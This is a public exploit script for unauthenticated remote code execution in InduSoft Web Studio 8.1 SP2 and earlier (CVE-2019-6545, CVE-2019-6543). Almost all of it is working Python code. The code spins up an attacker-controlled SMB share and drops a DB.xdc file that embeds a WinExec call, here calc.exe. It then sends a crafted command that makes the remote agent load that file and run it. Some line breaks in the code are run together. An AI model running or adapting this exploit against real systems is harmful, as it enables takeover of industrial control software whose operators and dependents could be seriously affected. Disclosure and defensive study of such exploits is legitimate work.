### Exploit Title: Indusoft Web Studio Unauthenticated RCE# Date: 02/04/2019# Exploit Author: Jacob Baines# Vendor Homepage: http://www.indusoft.com/# Software http://www.indusoft.com/Products-Downloads/Download-Library# Version: 8.1 SP2 and below# Tested on: Windows 7 running the Web Studio 8.1 SP2 demo app# CVE : CVE-2019-6545 CVE-2019-6543# Advisory:
https://sw.aveva.com/hubfs/assets-2018/pdf/security-bulletin/SecurityBulletin_LFSec133.pdf?hsLang=en
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-19-036-01# Advisory: https://www.tenable.com/security/research/tra-2019-04##import argparse
import threading
import socket
from struct import*import time
import sys
from impacket import smbserver
### The SMB Server function. Runs on its own thread.# @param lip the listening IP address##defsmb_server(lip):
server = smbserver.SimpleSMBServer(listenAddress=lip, listenPort=445)
server.addShare('LOLWAT','.','')
server.setSMBChallenge('')
server.setLogFile('/dev/null')
server.start()### Converts a normal string to a utf 16 with a length field.# @param s the string to convert##defwstr(s):
slen =len(s)
s = s.encode('utf_16_le')
out ='\xff\xfe\xff'if slen <0xff:
out += pack('<B', slen)+ s
elif slen <0xffff:
out +='\xff'+ pack('<H', slen)+ s
else:
out +='\xff\xff\xff'+ pack('<L', slen)+ s
return out
if __name__ =='__main__':
top_parser = argparse.ArgumentParser(description='test')
top_parser.add_argument('--cip', action="store", dest="cip",
required=True,help="The IPv4 address to connect to")
top_parser.add_argument('--cport', action="store", dest="cport",type=int,help="The port to connect to", default="1234")
top_parser.add_argument('--lip', action="store", dest="lip",
required=True,help="The address to connect back to")
args = top_parser.parse_args()# Connect to the remote agent
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print"[+] Attempting connection to "+ args.cip +":"+str(args.cport)
sock.settimeout(15)
sock.connect((args.cip, args.cport))print"[+] Connected!"# spin up the SMB server threadprint"[+] Spinning up the SMB Server"
smb_thread = threading.Thread(target=smb_server, args=(args.lip,))
smb_thread.daemon =True;
smb_thread.start()# drop the xdc fileprint"[+] Creating the DB.xdc file"
xdc =open("./DB.xdc","w+")
xdc.write("<?xml version=\"1.0\"?>\n""<Connection>\n""\t<ConnectionString>{WinExec(\"calc.exe\")}</ConnectionString>\n""\t<User></User>\n""\t<TimeOut>2</TimeOut>\n""\t<LongTimeOut>5</LongTimeOut>\n""\t<HostName>127.0.0.1</HostName>\n""\t<TCPPort>3997</TCPPort>""\t<Flags>0</Flags>\n""\t<RetryInterval>120</RetryInterval>\n""</Connection>\n")
xdc.close()print"[+] Sending the connection init message"
init_conn ="\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03"
sock.sendall(init_conn)
resp = sock.recv(1024)print'<- '+ resp
# do a basic validation of the responseif(len(resp)>0and resp[len(resp)-1]=='\x03'):print"[+] Received an init response"else:print"[-] Invalid init response. Exiting..."
sock.close()
sys.exit(0)# Craft command 66
cmd = wstr('CO')# options: EX, CO, CF, CC
cmd += wstr('\\\\'+ args.lip +'\\LOLWAT\\DB')# file to load
cmd += wstr('')
cmd += wstr('')
cmd += wstr('')
cmd += wstr('lolwat')
cmd += pack('<L',0x3e80)
cmd += pack('<L',0)
cmd += pack('<L',100)
cmd ='\x02\x42'+ cmd +'\x03'# Send it to the agentprint"[+] Sending command 66"
sock.sendall(cmd)print"[+] Grabbing the command response"
resp = sock.recv(1024)print'<- '+ resp
if resp.find("Format of the initialization string does not conform to
specification starting at index 0".encode('utf_16_le'))!=-1:print'[+] Success! We received the expected error message.'else:print'[-] Unexpected error message. Something went wrong.'print'[+] Disconnecting'
sock.close()print'[+] Wait while the agent disconnects from the SMB server...'
sys.exit(0)